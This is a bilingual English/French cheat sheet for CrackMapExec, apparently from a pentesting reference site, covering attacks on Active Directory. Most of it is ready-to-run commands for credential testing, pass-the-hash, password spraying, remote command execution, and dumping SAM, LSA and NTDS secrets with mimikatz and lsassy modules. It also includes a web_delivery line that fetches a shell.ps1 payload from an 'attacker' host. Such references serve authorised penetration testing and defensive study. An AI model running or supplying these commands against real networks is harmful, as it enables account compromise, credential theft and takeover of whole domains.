CrackMapExec
Couteau suisse du pentest Active Directory. Teste des identifiants via SMB/WinRM/LDAP/SSH, exécute des commandes, extrait des secrets et spraye des mots de passe. Swiss army knife for Active Directory pentesting. Tests credentials across SMB/WinRM/LDAP/SSH, executes commands, dumps secrets, and sprays passwords.
↗ https://github.com/byt3bl33d3r/CrackMapExecOverview
CrackMapExec (CME) automates common Active Directory attacks: credential validation, password spraying, lateral movement via SMB/WinRM/LDAP, and post-exploitation. Note: CME is deprecated in favor of NetExec (nxc) which is its actively maintained fork.
Credential Testing
Test creds via SMB against a single host
crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'
Test against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'
Pass-the-hash
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee
From target list
crackmapexec smb targets.txt -u administrator -p 'Password1'
Password Spraying
Spray a password across many users
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'
Spray with lockout protection (—no-bruteforce: one password per user)
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce
Multiple passwords (careful: may lockout accounts)
crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt
Enumeration
List shares
crackmapexec smb 10.10.10.1 -u user -p pass --shares
List logged-on users
crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users
Enumerate users
crackmapexec smb 10.10.10.1 -u user -p pass --users
Enumerate groups
crackmapexec smb 10.10.10.1 -u user -p pass --groups
Get password policy
crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol
Enumerate domain computers
crackmapexec smb 10.10.10.1 -u user -p pass --computers
Command Execution
Execute a command via SMB (uses wmiexec by default)
crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"
PowerShell execution
crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"
Execute on all hosts where we have admin access (marked [+])
crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output
Credential Dumping
Dump SAM hashes
crackmapexec smb 10.10.10.1 -u administrator -p pass --sam
Dump LSA secrets
crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa
Dump NTDS.dit (domain controller only)
crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds
Run mimikatz modules
crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz
WinRM, LDAP, SSH Protocols
WinRM
crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"
# LDAP enumeration
crackmapexec ldap 10.10.10.1 -u user -p pass --users
crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All
SSH
crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"
Modules
List available modules
crackmapexec smb -L
# Useful modules
crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password # GPP passwords
crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy # Dump LSASS with lsassy
crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1
Tips
[+]means valid credentials;(Pwn3d!)means local admin access- Use
--local-authwhen testing local accounts (not domain accounts) - The CME database (
cmedb) stores all credentials found across sessions - Use NetExec (
nxc) for the same syntax with active maintenance
Protocol/module quick reference
Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc
Common flags:
-u USER/FILE Username or file
-p PASS/FILE Password or file
-H HASH NTLM hash
-d DOMAIN Domain
--local-auth Local authentication
--shares Enumerate shares
--users Enumerate users
--groups Enumerate groups
--loggedon-users List logged-on users
--sam Dump SAM
--lsa Dump LSA
--ntds Dump NTDS
--pass-pol Password policy
-x CMD Execute command
-X PS_CMD Execute PowerShell
-M MODULE Use module
--no-bruteforce 1 password per user (spray mode)
Vue d’ensemble
CrackMapExec (CME) automatise les attaques Active Directory courantes : validation d’identifiants, password spraying, déplacement latéral via SMB/WinRM/LDAP, et post-exploitation. Note : CME est déprécié au profit de NetExec (nxc), qui est son fork activement maintenu.
Test d’identifiants
# Tester des identifiants via SMB contre un seul hôte
crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'
# Tester contre un sous-réseau
crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'
# Pass-the-hash
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee
# Depuis une liste de cibles
crackmapexec smb targets.txt -u administrator -p 'Password1'
Password spraying
# Sprayer un mot de passe sur de nombreux utilisateurs
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'
# Spray avec protection contre le verrouillage (--no-bruteforce : un mot de passe par utilisateur)
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce
# Plusieurs mots de passe (prudence : peut verrouiller des comptes)
crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt
Énumération
# Lister les partages
crackmapexec smb 10.10.10.1 -u user -p pass --shares
# Lister les utilisateurs connectés
crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users
# Énumérer les utilisateurs
crackmapexec smb 10.10.10.1 -u user -p pass --users
# Énumérer les groupes
crackmapexec smb 10.10.10.1 -u user -p pass --groups
# Récupérer la politique de mot de passe
crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol
# Énumérer les ordinateurs du domaine
crackmapexec smb 10.10.10.1 -u user -p pass --computers
Exécution de commandes
# Exécuter une commande via SMB (utilise wmiexec par défaut)
crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"
# Exécution PowerShell
crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"
# Exécuter sur tous les hôtes où on a un accès admin (marqués [+])
crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output
Extraction d’identifiants
# Extraire les empreintes SAM
crackmapexec smb 10.10.10.1 -u administrator -p pass --sam
# Extraire les secrets LSA
crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa
# Extraire NTDS.dit (contrôleur de domaine uniquement)
crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds
# Lancer les modules mimikatz
crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz
Protocoles WinRM, LDAP, SSH
# WinRM
crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"
# Énumération LDAP
crackmapexec ldap 10.10.10.1 -u user -p pass --users
crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All
# SSH
crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"
Modules
# Lister les modules disponibles
crackmapexec smb -L
# Modules utiles
crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password # Mots de passe GPP
crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy # Extraire LSASS avec lsassy
crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1
Conseils
[+]signifie des identifiants valides ;(Pwn3d!)signifie un accès admin local- Utilisez
--local-authpour tester des comptes locaux (pas des comptes de domaine) - La base CME (
cmedb) stocke tous les identifiants trouvés au fil des sessions - Utilisez NetExec (
nxc) pour la même syntaxe avec une maintenance active
Référence rapide protocoles/modules
Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc
Common flags:
-u USER/FILE Username or file
-p PASS/FILE Password or file
-H HASH NTLM hash
-d DOMAIN Domain
--local-auth Local authentication
--shares Enumerate shares
--users Enumerate users
--groups Enumerate groups
--loggedon-users List logged-on users
--sam Dump SAM
--lsa Dump LSA
--ntds Dump NTDS
--pass-pol Password policy
-x CMD Execute command
-X PS_CMD Execute PowerShell
-M MODULE Use module
--no-bruteforce 1 password per user (spray mode)